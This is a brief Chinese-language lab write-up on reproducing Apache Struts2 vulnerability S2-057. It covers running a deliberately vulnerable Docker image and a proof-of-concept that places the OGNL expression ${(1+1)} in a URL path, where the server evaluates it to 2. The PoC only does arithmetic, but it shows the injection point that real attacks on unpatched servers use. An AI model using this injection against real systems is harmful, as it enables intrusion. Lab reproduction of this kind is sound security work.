S2-057复现

docker镜像：

medicean/vulapps:s_struts2_s2-057

镜像拉取到本地：

docker pull medicean/vulapps:s_struts2_s2-057

启动镜像：

docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-057

-d :后台运行容器，并返回容器ID；

-p:端口映射，格式为：主机(宿主)端口:容器端口

图1

POC:

${(1+1)}

访问：http://IP/${(1+1)}/actionChain1.action

得到执行结果返回在url中：

http://IP/2/register2.action

图2